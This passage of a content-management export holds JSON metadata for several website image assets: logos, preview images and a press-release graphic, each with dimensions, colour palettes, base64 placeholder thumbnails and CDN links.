zyKzTsdO1P4nU","url":"https://cdn.sanity.io/images/sczeoy4w/production/010132c382a356dbd6d80920e1b42782e20e546f-1200x630.jpg"} {"_createdAt":"2024-11-11T13:03:37Z","_id":"image-52d7646db76c4bbfd216315505aba2eeb73088df-1200x630-jpg","_rev":"gja0vnccBR8nIicZaUkcD8","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T13:03:37Z","assetId":"52d7646db76c4bbfd216315505aba2eeb73088df","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M44VCh-bs$ROM_%jx[W,M|NHxWxaocfAV=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQH/8QAHxAAAQQCAgMAAAAAAAAAAAAAAQACAxEEMhIxITSB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAGhEBAAEFAAAAAAAAAAAAAAAAAAECAxIxYf/aAAwDAQACEQMRAD8A4diZ0bImtMEZIFWWDyql4o8R2eko+tCpj3+rV2dCVQ0AMOwooSn7lCRlxD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262550","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1ccdd","foreground":"#000","population":1.61,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494cb","foreground":"#fff","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#636b9e","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"free-tools-meta_preview.jpg","path":"images/sczeoy4w/production/52d7646db76c4bbfd216315505aba2eeb73088df-1200x630.jpg","sha1hash":"52d7646db76c4bbfd216315505aba2eeb73088df","size":41308,"uploadId":"KsARbjpnNLpoQKRUPeWkE1gylOUZoSH4","url":"https://cdn.sanity.io/images/sczeoy4w/production/52d7646db76c4bbfd216315505aba2eeb73088df-1200x630.jpg"} {"_createdAt":"2024-11-20T21:11:47Z","_id":"image-ba0570f449f2d15866a0ef0b53afe87dc73748f6-1200x630-png","_rev":"Ud5WTDnszW9rcVYh0nse9Z","_type":"sanity.imageAsset","_updatedAt":"2024-11-20T21:11:47Z","assetId":"ba0570f449f2d15866a0ef0b53afe87dc73748f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46*tw?L9DjXRj.AoyM{bJWF00D%?bs=oG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACo0lEQVR4nD2S/U9TZxzF71/gJm3v+/t97oUWS2IzcTgVFIZkog0t2BaYDPEVqJa2UqC0hE5RRzI3yRb1n/0s97L4w8nzfX45+ZycI12Qy3yvLnFRq5Aylklba2TsR2Scp8juFqr3Ci1oootdjLCLOdxPFN9GFOsQI9xDE23UoIX0nbKIbNUw/IdYYh1DPEZ2NkiZj0lbL5CdOrLXQPHbaME+ethDF73k1kQHPTxAD7vJrQZtpJjOCH7Fz20gLj1D5DdxR15gRVtY0Uus4SZOdhc3t48/2keMDRK5uZhuDyPqYQ4fY0R99PAQKWPVyBWeM36zyU/THSbvHDI122fyzjE3fh4wcft3bsy+Z3LulMm5j0zPnzFz7xM/3nqPGOthjRxjZ08SObkPSIqzzOWJOjN3u9wtDZhffEvxwQfKy3+yuPI3xcpf3K+csVD7l4WVL5RXvnJv6Yxr0yeIfBfzf0I7+xZ39BRJtmsUJurMzh8ye/+I27/0mSu+ofjglFLtIwvVTxSrZxSr/1Ba/Uqx+pnrM+8I8x100UITu2hiHyM6ws6+QxrSKwSjG4xd2SJ/pU6uUCc/3qJwbY8frvcYv3nM+NQbrk6dMDF9ytVbf5AtdDGCHRSvnZhp4rwYc3iAFM8mpS2RMatk7FUy9lrSsuo9R/O3MUQDXTSS14xeY0Yd9KCJ6jXQgk5CFheiJW0fIF2US5h6Gcdbxgp/Q3HXGTLWSZlPvs0mbW+SNp+RsbeR3Qay+wrF20EXBwmVGR2hBh0Uv4WUVkoIq0xu5CHRpacYQby/R6TNJ8j2JopbR3a2SFuxYfyPzRqofhsjjAsZJHHjDSp+8zzykFomY1TIWKukzLWEMDF0YoOXiWIz2dlG9XZQ/RZasJtEjSOf0zVRvCb/Ac/aghTGNBiwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252850","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6dae9","foreground":"#000","population":5.75,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7ec2","foreground":"#fff","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b7299","foreground":"#fff","population":1.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"PRESS RELEASE 21 Nov 2024.png","path":"images/sczeoy4w/production/ba0570f449f2d15866a0ef0b53afe87dc73748f6-1200x630.png","sha1hash":"ba0570f449f2d15866a0ef0b53afe87dc73748f6","size":269687,"uploadId":"M1f3YmYwPC7qMCsHPHuljAKSzD3dex3T","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba0570f449f2d15866a0ef0b53afe87dc73748f6-1200x630.png"} {"_createdAt":"2024-11-28T08:08:23Z","_id":"image-bd112b86479809ef2d6d888774286cd811d86d14-1200x630-jpg","_rev":"0h6e4MYEG0xbOjLBGG4TlC","_type":"sanity.imageAsset","_updatedAt":"2024-11-28T08:08:23Z","assetId":"bd112b86479809ef2d6d888774286cd811d86d14","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOG[{K00~p%L4oxvj[kBWBWB00_3IURjxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAcIBv/EACUQAAEEAgEBCQAAAAAAAAAAAAIBAwQFAAYRkwgSFSE0UlWR0f/EABYBAQEBAAAAAAAAAAAAAAAAAAUDBP/EABwRAAEDBQAAAAAAAAAAAAAAAAABAiEDBBEyUf/aAAwDAQACEQMRAD8ASsKyiNsMgUEVIU4Uvdjb7OFRU3uxWwWcFiQyLSEAPJygrziWX0zOa3TJD8XvnFecZMk4UmyUVX6x65iguDO3YsRND1JE8qSv6aYZMni9l8jM65fuGCz0uf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373166","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":6.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":6.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb9ca","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbc060","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#797ebc","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54a53","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-trial-office-hour_meta-preview.jpg","path":"images/sczeoy4w/production/bd112b86479809ef2d6d888774286cd811d86d14-1200x630.jpg","sha1hash":"bd112b86479809ef2d6d888774286cd811d86d14","size":65158,"uploadId":"WdnYukFDuAGncmgkESyQoHLL8W6veY0o","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd112b86479809ef2d6d888774286cd811d86d14-1200x630.jpg"} {"_createdAt":"2024-11-14T10:07:18Z","_id":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_rev":"HW0ozz5dZ4K6jdTgYZGO9K","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T10:07:18Z","assetId":"1a77aa13a9d57858dc26c0c784fa8debc20dd110","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eH1i%{UbpfaJaJkVaig4f5f6ZLi[aJlCaIf9e,emfjflZyk@aeiueQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":100,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAETElEQVR4nJXVW0yTZxgH8P/7FbHgJAuLEYJUKDTOuF0YL5Zs7saLeeHNLubNsriDUTm0VE49fCIfbS0FnZs4nMcxFFCs9ACFHo3DVrpKbcsK6ua2jGVIIRlI66FsVd6lOF13JT7J7/afPN/zvM8HvExt1/My2Mt5y5UDu7JUVyw5reGugm9+3pF/6uaG7BZfFjiOWXoY910aX+4SLGNdnxHW5choHIrknR2fKDbMDgm7p74qbB//YO3p0fVLDNOnp9c5RWmsU0xYpxus60GGzkfzuyapyBxNiExz06KemcGirokvXxwmsS5fIbNtSFc6ZIzS6YPS9RCsk2Y0fk/XdN6lot77T5li8WLDvbsAZ3oVTYH10A69Ds6aBYCktMnPlFs3pivsHKN0BKFwxKF0UsjtiQyt9+GacxMJkSkZ9i9jbAHQej8kB0PHSHOwlaf1vY+a/hxwXBq4vsw0heMtntzeTOSOMcgd85A7KGT2OJHbx1bqfIOCzqmIyJgM+g94TTe6yKHwrzgcnkZzyMZofXug6N/EK73wHq/acpTIbHdQa/8LMtsCam1RIrO7mVqrfNXRW+LCi7OBYsN9mgpp6utycnBkEJ+H7yeR5pFhwrnbidRkJhWmcVRZEqgZSKDWGkH1gJGp6f8IclOB4FxkS9GlOU9xT4ymAmqsRYzGtxNNIRcOhaM4GJ6HLjCLusEYqvofo7I3Tqott0mV5TivyrIVCuNryX0Tds1uFnbPeYr0MZpqcVnBWvIYzl0GtW8UutATNIcpdCGK+iFKZM5JXlXvsbS9Pe+g2rHi2bwWAy/MeYouxmgqgKMM9nbkMuWXSlDVH8Y+9xNogxRNYYrGEQq1L0Lq3MehHHwXteaVz7bgeWB3jKYCKvoEjNSwAxKjHWU9UUjN82CvzkATiKFx5DG0oXkcCPxEVP5TYIe2QWJdlexKeHZ2s7BzziM8H6OpwFSYpZCYL6PCFIPYGEOp/jqR9raReq8ZmuDv0I4kFqmDU2jw92Gf+1MoXEJBW2SLsOOeR9gVpalAxKY2iE13IDFFIDZZmFL9TpSc3wjZla1kv+9rqAK/QBP6G5rQAtTBGFQ3hpj9Xjb7i9vSgvaZgLAzSlMBpcbtKDe2kDLDEYgN2yDRL7a0OIB9V98mdd7DaLhxC+rQPDTJbxqKo8F/K1M36s47PRUp7IjSVICkIwsl+nXY0yNCmf6V/z29Sm8GFJ5NYK9pwPlHoArGoQpRNAQS/MbRR7knIonCs1H6XPvcwouPw8ff8lE5+CZYjxJ1/mHUBx6BC1B+402ae2KKFrRHn2q7F1975s/JJZ8vSG3rIPdIwQ57UOd/wD8wRnOPR+jattmE4MzMtODU9NU1R387srTAZO0+uQxSWwFk7l1QXHPxucDU6pbxifyT09781j9a8478uD0nebVeqpLD2q0XMOV9JfwalzVb5e9erfvhk9Xa4Teyuae/gH8AY+B93hcvQKYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34241c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c8c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#23a7f3","foreground":"#fff","population":16.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0b568d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#49aaf0","foreground":"#fff","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7498","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23a7f3","foreground":"#fff","population":16.86,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-vscode.svg","path":"images/sczeoy4w/production/1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100.svg","sha1hash":"1a77aa13a9d57858dc26c0c784fa8debc20dd110","size":4641,"uploadId":"87Dsmc2VCjp3noqfuCrpBnm7wWMhCdzD","url":"https://cdn.sanity.io/images/sczeoy4w/production/1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100.svg"} {"_createdAt":"2024-11-14T10:09:23Z","_id":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_rev":"1v7MRIpZS1A0E2ougaNGtj","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T10:14:17Z","altText":"Copyright © 2024 JetBrains s.r.o. JetBrains and the JetBrains logo are trademarks of JetBrains s.r.o.","assetId":"0771e57a89ed3fd31f33b80fb9336d5324a9dc72","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DTAHMd|}]o$gbVr{r{jKWCNZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.65625,"height":64,"width":298},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA70lEQVR4nC3QvSvEARwG8A/pBoM7d17ychEdUcrLlVydG0h35RIuE3kpJqlLly5ZDUwk820Wm+HKIFbZyMA/wH6bRb/6DU/Pt+f5fp+nvu4jQ6k7ubO6/a/Xpuufb0+3b54nkEA3OkPuQS+6EEMcHaEfIJhbXfZF1wqRRD3fPNw4aSr+Pjq/uXE8jzzWsYACNrGHDSyGWhGrKGEZY2qZeHklGXufi7b/bbaMfNaUqgeyQWAQcICl8LCMUxxhC9vYwT4OsYu0l63+ykV24KOSSjaqbX0PV8bzOQODmEYGKYwiKAkwixlMYircC7R08JZ/mF0vjrY2iq8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34343c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9a1d07","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2049f","foreground":"#fff","population":1.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4ece4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88727","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0644a","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2049f","foreground":"#fff","population":1.87,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":null}},"originalFilename":"logo-jetbrains.svg","path":"images/sczeoy4w/production/0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64.svg","sha1hash":"0771e57a89ed3fd31f33b80fb9336d5324a9dc72","size":4217,"title":null,"uploadId":"RhOf9bCWdXDEvG2RuYCFCNNCFTRpPDgo","url":"https://cdn.sanity.io/images/sczeoy4w/production/0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64.svg"} {"_createdAt":"2025-01-09T09:57:45Z","_id":"image-a401bea0db25fd4e75f7772159ea26382ef2728c-1200x630-png","_rev":"tW1iVB3M02HkZ9xlNSQ3mR","_type":"sanity.imageAsset","_updatedAt":"2025-01-09T09:57:45Z","assetId":"a401bea0db25fd4e75f7772159ea26382ef2728c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MlOgHS_Nxa8{?bspNGn%t7WVxuM{aexuRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACG0lEQVR4nH3O/0sTcRzH8f05USQ4c4rRoiAkMWtQUOsXSVjhnF+WsozVL1pkPyxLFmVC6A/BIsbI+iVrivvinLov55pud6u77XO3291un/vi3ebmbhH+0C8xeP7w/uXB660RDupQOOT48nFFWOH4SkmocLCSZ8uAqeCkvIfBRIpLYRyBF0icJAmGzCsUc6RhuEoKYyJIdgchokg2iuSiSHY3SSVTdBJl0zgMhPH59/5njpXZV9+X37nQD05qxQ1QQDJHGppVkCTlD6G+jXRgEwuGM/4QuhXF9zEWz/EZAnq+Rsxji4abr4235mYHrHsT1wpvJ3OxBFmoaUpCjSrIBOBxwBOkkCUFHPCAlorwUJCqeZp3e4J3TM5LvTM9PU+mDQMJ00X6xUh2O06xNY2kNCRFlRRVVFRR/nv8S6oygPa4vhlvz3Tq7frzdku3yWO8Gn5qT28nWVg/xv9JlFUBlmmMcC99Nhgen9aOtnXYus/dv3vZ8vKhc2crUxKb4QYPqyBDfVz60tf34GTLvVbduK5rUn/h0dj4YjCMc0ITrDR4sZ4Dgsvl7b0yceJUf4t2qLXdqjtrM48uBEK/inzzZUnN5eVPbt+N6zZtW/+ZjsH2TkuX3jpsnQ9sNsWS3ICiCuiyd213amrBPPTcPOwYtDhGrHPON8vxn1TTt+UGJ9TJQnUf5fwbqR9rsdX1mHc9uupDIvHfgD6AkvoH9bMLxOJRZPAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292a59","foreground":"#fff","population":2.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#112e6e","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef6b31","foreground":"#fff","population":3.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb4c3","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acd4f4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545a99","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef6b31","foreground":"#fff","population":3.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"A.png","path":"images/sczeoy4w/production/a401bea0db25fd4e75f7772159ea26382ef2728c-1200x630.png","sha1hash":"a401bea0db25fd4e75f7772159ea26382ef2728c","size":236847,"uploadId":"RACtbJh5uiRXYp4Dv4SyZUQ34iXlMgZt","url":"https://cdn.sanity.io/images/sczeoy4w/production/a401bea0db25fd4e75f7772159ea26382ef2728c-1200x630.png"} {"_createdAt":"2025-01-09T10:31:02Z","_id":"image-8458f3e8dabeb6b2e1afbb8d167a28b7151836b7-1200x630-png","_rev":"tW1iVB3M02HkZ9xlNT5YAG","_type":"sanity.imageAsset","_updatedAt":"2025-01-09T10:31:02Z","assetId":"8458f3e8dabeb6b2e1afbb8d167a28b7151836b7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M55#VwTARe,n9^?1ORNHwKJ.NfxAs;NfwZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACSElEQVR4nE2RWVPaQADH8wW442ZzLLubkGRJkDEFEUWZHi99cDzoSFHkSCMgEBCmoCJHHafVmT71I3fQPvQD/K/fnwuA0wAoBYWzEKxEpFpUdnmltRHvAjIQ6BhqU0l/kI2Vwp5Q8gXZv+PWCzIfJX0hGQsuLH4BuALJJaQNSfOURAcZPmYj1Z5S+w6Z95L+gIylbi2tzZWWeo4nn2V9DrUpVCecQM6tdx0nP3R2R7mD29zBLLs/zx2sCp9+5d7/NJ0VYnPTnh3l2teFymHWN62lqE0BGQIy5AA+Z07H2R1lCt93irPs/iydu0tl77fyy3T+h5VZ2dnHnfzcLV7++ViYFz7v2T1RHQMyhNqEi8plRW+odjux2TPSQy11o+i+SPuidqMYE+YsdopPe8Xlh+3ry8xR3TncZk2JdAHxRe2WCwqlqFzm0QXADUg8SNsAd9bA8ACqY2rfp3OLrezUtHvM9JJGk6hNCTcE7Al0wP1H+/wfbdQCuCuQoUBHUmJCrTu2OdbZlao3qO7GEy5S6xJ1BdLjguA0IpSi4llMvogp9Ziyvgq8XgWwD3BfVG8oG5tWhyVrBnMpu1YSHQF7PLriosKJppywxIWZamt2V6StdXK8J2CfR+2o3IwpHqR9avYTzMO6J2u+QLoRqRaCXzkeHlvx461kNZ3pM2cga+232oCsxWGpGpGqPGpB6kPS4lGTV1pRxQ3BcgCUuKBwEoOnQCmDeA1gdwN9e01eb97AvYjciMh1/s1L8cJiNSxWQ7ASAKUAOP0LdVuTz6Eo9+cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#673b62","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":11.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":11.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#999ecf","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d48c78","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad516a","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2501a","foreground":"#fff","population":1.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ebook template Dark blue.png","path":"images/sczeoy4w/production/8458f3e8dabeb6b2e1afbb8d167a28b7151836b7-1200x630.png","sha1hash":"8458f3e8dabeb6b2e1afbb8d167a28b7151836b7","size":254110,"uploadId":"PQQD6iEAIxarQH9BLQGZCpG5cvsVvBfg","url":"https://cdn.sanity.io/images/sczeoy4w/production/8458f3e8dabeb6b2e1afbb8d167a28b7151836b7-1200x630.png"} {"_createdAt":"2024-11-28T13:38:29Z","_id":"image-f75f8f9040f6ef8a3d80f269c43c1b8a54dc04f6-1600x1226-png","_rev":"0h6e4MYEG0xbOjLBGGq9tK","_type":"sanity.imageAsset","_updatedAt":"2024-11-28T13:38:29Z","assetId":"f75f8f9040f6ef8a3d80f269c43c1b8a54dc04f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VLHLC|bc56Vs4mR5_NX9MdkB0KIVxGxtxu9t8_w^OrtR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3050570962479608,"height":1226,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAD1UlEQVR4nJWTa2xTZRjHz7oJbGm4RBljym5c7GYGCzhF1FQg3iKyRNOYOcLYTJaJOsfQgRA9Qa2wMVBjlM2RQUaMoSFZlkzlg25c1risA0Kha5Z2bc/pZT3tOeWcnp5z3nPrY4rZ3Ih+8J/8k/f58P7e58n7/DEMw7CKCsuigoJXVq5a9VZJftHbZatXW4qKi2uWm814DgBkYf9HALAIx38yvV7z2TvmnR9/+fzO9hPbX2z/dP/7X9fa7XeqRRHWAMCSB+5kgc2SDThmwDBs4YMA8Mh1u6vxx77fhk90XSKsHbZQ1zcD3l8vT1xlGPaCpigtwLJlYDbnAIYZ7sNwPAcObM1Nf7BuMeB4BvqPRFEsZhju2HQgGhi/5VFHxyc1p5tQo3FWQLJC65oyIAU926FpyzI41LQM3DcKk3dulKfGLm+Sxq6WwsRE3gKgJEklsixbkymBdPtCqsPl0UiK0Tkka5KiKpoqX0kFJl/j95Tlo76O9aJ/qpYm/J1Rj+dbatr/bpQgygDAALOji6JYhBA6Kkrodigap7yBUCyeYOOiolBIVWcURR6U4jMvpOueWsoO9q9jCaIpQgbPBaeJn4N+4kg8HDYBQPbc53Ec9zAShBpZlo+neP4HPkF3I57rVmX5eyTL3yGEWhHHbThlseS27Tu65uTxvh3nztjqLvRcrO/qOL+7vt5q2rKrKW8OCAAPQTK5EiG0HiWT5UC6K+Vp58Z0ki5HCD2eSCSKAcDY3Hwy/4nNzbtKNuzFyysbTlVVNZ5ea9rbWWpqeK/G8nml3+9fMh+add8jeA7Y9hthAF9+d8RmJEkyN7NWAJA3MGTfVrev60z1swfc1c+1hrea28JVT7eQO149cr2nd+gwz/MbASB3/voYgLprBMq3CUVDu6kI9SZDMS9nxgWAQq831HC+//fxg4d70YcfdWtth3r1loM9aufpS9xt57Rd07TmVCpVML9DA0CqQBGSTTybHIzOJEbjVOKiyDK1gJIVdCzW6nA4p4Z+GdGHr4zrf4459WujN7WbtybVWIwmdF0/BgDFC4A8z+eLHLeHjjH9pD86FAlGzwo09QYAMtHRcKvD4Zj6Y3hYczqdus/n010ul+Z2u9VYLEbIsvzFHHBW6XR6sZgIF7GRyJMBd2BbOBDYLNDkoyAIhdy9e40+r/eaa3KSDIfDQYZhgpFIJHMmOY5zIITa0+n0Y/+W7b/Ht9kyu5WJmoGiKKMois+IotgmCII1EwRVVa2SJGX8laIon0iS9BLLsiv+C/igs2maXprpAABKAaBk1pIkZeoiAFgBADl/AT4rza2NCzDsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603330","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a0804","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a0804","foreground":"#fff","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a49c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad8","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5484a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c45424","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Al Powered optimizations ✓ EverSQL - DE.png","path":"images/sczeoy4w/production/f75f8f9040f6ef8a3d80f269c43c1b8a54dc04f6-1600x1226.png","sha1hash":"f75f8f9040f6ef8a3d80f269c43c1b8a54dc04f6","size":174254,"uploadId":"swNnaEUHxo85eNOaMlEgBxLrpkzAdaVL","url":"https://cdn.sanity.io/images/sczeoy4w/production/f75f8f9040f6ef8a3d80f269c43c1b8a54dc04f6-1600x1226.png"} 